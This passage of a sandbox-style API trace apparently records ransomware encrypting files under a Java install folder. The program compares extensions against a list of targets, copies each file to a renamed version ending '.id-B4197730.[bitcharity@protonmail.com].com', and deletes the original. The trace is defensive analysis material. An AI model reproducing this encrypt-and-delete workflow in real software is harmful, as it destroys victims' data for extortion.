lpString2=".dll") returned -1 [0299.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0299.258] lstrlenW (lpString=".jpg") returned 4 [0299.258] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0299.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0299.258] lstrlenW (lpString=".doc") returned 4 [0299.258] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.258] lstrlenW (lpString=".docx") returned 5 [0299.258] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0299.258] lstrlenW (lpString=".pdf") returned 4 [0299.258] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.258] lstrlenW (lpString=".xls") returned 4 [0299.258] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.258] lstrlenW (lpString=".xlsx") returned 5 [0299.258] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0299.258] lstrlenW (lpString=".ppt") returned 4 [0299.258] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0299.258] lstrlenW (lpString=".zip") returned 4 [0299.258] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.258] lstrlenW (lpString=".rar") returned 4 [0299.258] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.259] lstrlenW (lpString=".bz2") returned 4 [0299.259] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.259] lstrlenW (lpString=".7z") returned 3 [0299.259] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.259] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0299.259] lstrlenW (lpString=".dbf") returned 4 [0299.259] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.259] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0299.259] lstrlenW (lpString=".1cd") returned 4 [0299.259] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.259] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0299.259] lstrlenW (lpString=".jpg") returned 4 [0299.259] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.259] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0299.259] lstrlenW (lpString="jli.dll") returned 7 [0299.259] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0299.259] GetFileSizeEx (in: hFile=0x10e8, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=174656) returned 1 [0299.259] CloseHandle (hObject=0x10e8) returned 1 [0299.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll")) returned 0x20 [0299.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.260] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0299.260] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.260] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.260] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d4 [0299.260] GetLastError () returned 0x0 [0299.260] ReadFile (in: hFile=0x10e8, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x2aa40, lpOverlapped=0x0) returned 1 [0299.335] WriteFile (in: hFile=0x10d4, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x2aa50, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x2aa50, lpOverlapped=0x0) returned 1 [0299.338] ReadFile (in: hFile=0x10e8, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0299.338] WriteFile (in: hFile=0x10d4, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xe2, lpOverlapped=0x0) returned 1 [0299.338] SetEndOfFile (hFile=0x10d4) returned 1 [0299.338] CloseHandle (hObject=0x10d4) returned 1 [0299.338] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.338] SetEndOfFile (hFile=0x10e8) returned 1 [0299.340] CloseHandle (hObject=0x10e8) returned 1 [0299.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0299.340] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll")) returned 1 [0299.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0299.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0299.341] lstrlenW (lpString=".doc") returned 4 [0299.341] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.341] lstrlenW (lpString=".docx") returned 5 [0299.341] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0299.341] lstrlenW (lpString=".pdf") returned 4 [0299.341] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.341] lstrlenW (lpString=".xls") returned 4 [0299.341] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.341] lstrlenW (lpString=".xlsx") returned 5 [0299.341] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0299.341] lstrlenW (lpString=".ppt") returned 4 [0299.341] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0299.341] lstrlenW (lpString=".zip") returned 4 [0299.341] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.341] lstrlenW (lpString=".rar") returned 4 [0299.341] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.341] lstrlenW (lpString=".bz2") returned 4 [0299.341] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.341] lstrlenW (lpString=".7z") returned 3 [0299.341] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0299.341] lstrlenW (lpString=".dbf") returned 4 [0299.341] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0299.341] lstrlenW (lpString=".1cd") returned 4 [0299.341] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0299.341] lstrlenW (lpString=".jpg") returned 4 [0299.342] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0299.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0299.342] lstrlenW (lpString=".doc") returned 4 [0299.342] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.342] lstrlenW (lpString=".docx") returned 5 [0299.342] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0299.342] lstrlenW (lpString=".pdf") returned 4 [0299.342] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.342] lstrlenW (lpString=".xls") returned 4 [0299.342] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.342] lstrlenW (lpString=".xlsx") returned 5 [0299.342] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0299.342] lstrlenW (lpString=".ppt") returned 4 [0299.342] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0299.342] lstrlenW (lpString=".zip") returned 4 [0299.342] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.342] lstrlenW (lpString=".rar") returned 4 [0299.342] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.342] lstrlenW (lpString=".bz2") returned 4 [0299.342] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.342] lstrlenW (lpString=".7z") returned 3 [0299.342] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0299.342] lstrlenW (lpString=".dbf") returned 4 [0299.342] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0299.342] lstrlenW (lpString=".1cd") returned 4 [0299.343] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.343] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0299.343] lstrlenW (lpString=".jpg") returned 4 [0299.343] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.343] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0299.343] lstrlenW (lpString="jp2launcher.exe") returned 15 [0299.343] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0299.343] GetFileSizeEx (in: hFile=0x10e8, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=112192) returned 1 [0299.343] CloseHandle (hObject=0x10e8) returned 1 [0299.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe")) returned 0x20 [0299.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.344] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0299.344] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.344] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.344] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d4 [0299.344] GetLastError () returned 0x0 [0299.344] ReadFile (in: hFile=0x10e8, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x1b640, lpOverlapped=0x0) returned 1 [0299.400] WriteFile (in: hFile=0x10d4, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x1b650, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x1b650, lpOverlapped=0x0) returned 1 [0299.402] ReadFile (in: hFile=0x10e8, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0299.402] WriteFile (in: hFile=0x10d4, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xf2, lpOverlapped=0x0) returned 1 [0299.403] SetEndOfFile (hFile=0x10d4) returned 1 [0299.403] CloseHandle (hObject=0x10d4) returned 1 [0299.403] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.403] SetEndOfFile (hFile=0x10e8) returned 1 [0299.404] CloseHandle (hObject=0x10e8) returned 1 [0299.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0299.405] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe")) returned 1 [0299.405] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0299.405] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0299.405] lstrlenW (lpString=".doc") returned 4 [0299.405] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0299.405] lstrlenW (lpString=".docx") returned 5 [0299.405] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0299.405] lstrlenW (lpString=".pdf") returned 4 [0299.405] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0299.405] lstrlenW (lpString=".xls") returned 4 [0299.405] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0299.405] lstrlenW (lpString=".xlsx") returned 5 [0299.405] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0299.405] lstrlenW (lpString=".ppt") returned 4 [0299.405] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0299.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0299.406] lstrlenW (lpString=".zip") returned 4 [0299.406] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0299.406] lstrlenW (lpString=".rar") returned 4 [0299.406] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0299.406] lstrlenW (lpString=".bz2") returned 4 [0299.406] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0299.406] lstrlenW (lpString=".7z") returned 3 [0299.406] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0299.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0299.406] lstrlenW (lpString=".dbf") returned 4 [0299.406] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0299.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0299.406] lstrlenW (lpString=".1cd") returned 4 [0299.406] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0299.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0299.406] lstrlenW (lpString=".jpg") returned 4 [0299.406] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0299.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0299.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0299.406] lstrlenW (lpString=".doc") returned 4 [0299.406] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0299.406] lstrlenW (lpString=".docx") returned 5 [0299.406] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0299.406] lstrlenW (lpString=".pdf") returned 4 [0299.406] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0299.406] lstrlenW (lpString=".xls") returned 4 [0299.406] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0299.406] lstrlenW (lpString=".xlsx") returned 5 [0299.406] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0299.406] lstrlenW (lpString=".ppt") returned 4 [0299.407] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0299.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0299.407] lstrlenW (lpString=".zip") returned 4 [0299.407] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0299.407] lstrlenW (lpString=".rar") returned 4 [0299.407] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0299.407] lstrlenW (lpString=".bz2") returned 4 [0299.407] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0299.407] lstrlenW (lpString=".7z") returned 3 [0299.407] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0299.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0299.407] lstrlenW (lpString=".dbf") returned 4 [0299.407] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0299.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0299.407] lstrlenW (lpString=".1cd") returned 4 [0299.407] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0299.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0299.407] lstrlenW (lpString=".jpg") returned 4 [0299.407] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0299.407] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0299.407] lstrlenW (lpString="jp2ssv.dll") returned 10 [0299.407] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0299.408] GetFileSizeEx (in: hFile=0x10e8, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=235584) returned 1 [0299.408] CloseHandle (hObject=0x10e8) returned 1 [0299.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll")) returned 0x20 [0299.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.408] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0299.408] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.408] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.408] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d4 [0299.409] GetLastError () returned 0x0 [0299.409] ReadFile (in: hFile=0x10e8, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x39840, lpOverlapped=0x0) returned 1 [0299.892] WriteFile (in: hFile=0x10d4, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x39850, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x39850, lpOverlapped=0x0) returned 1 [0299.895] ReadFile (in: hFile=0x10e8, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0299.895] WriteFile (in: hFile=0x10d4, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xe8, lpOverlapped=0x0) returned 1 [0299.896] SetEndOfFile (hFile=0x10d4) returned 1 [0299.896] CloseHandle (hObject=0x10d4) returned 1 [0299.896] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.896] SetEndOfFile (hFile=0x10e8) returned 1 [0299.898] CloseHandle (hObject=0x10e8) returned 1 [0299.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0299.898] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll")) returned 1 [0299.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0299.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0299.898] lstrlenW (lpString=".doc") returned 4 [0299.898] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.898] lstrlenW (lpString=".docx") returned 5 [0299.898] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1 [0299.898] lstrlenW (lpString=".pdf") returned 4 [0299.898] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.898] lstrlenW (lpString=".xls") returned 4 [0299.898] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.898] lstrlenW (lpString=".xlsx") returned 5 [0299.898] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1 [0299.899] lstrlenW (lpString=".ppt") returned 4 [0299.899] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0299.899] lstrlenW (lpString=".zip") returned 4 [0299.899] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.899] lstrlenW (lpString=".rar") returned 4 [0299.899] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.899] lstrlenW (lpString=".bz2") returned 4 [0299.899] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.899] lstrlenW (lpString=".7z") returned 3 [0299.899] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0299.899] lstrlenW (lpString=".dbf") returned 4 [0299.899] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0299.899] lstrlenW (lpString=".1cd") returned 4 [0299.899] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0299.899] lstrlenW (lpString=".jpg") returned 4 [0299.899] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0299.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0299.899] lstrlenW (lpString=".doc") returned 4 [0299.899] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.899] lstrlenW (lpString=".docx") returned 5 [0299.899] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1 [0299.899] lstrlenW (lpString=".pdf") returned 4 [0299.899] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.899] lstrlenW (lpString=".xls") returned 4 [0299.899] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.899] lstrlenW (lpString=".xlsx") returned 5 [0299.899] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1 [0299.900] lstrlenW (lpString=".ppt") returned 4 [0299.900] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0299.900] lstrlenW (lpString=".zip") returned 4 [0299.900] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.900] lstrlenW (lpString=".rar") returned 4 [0299.900] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 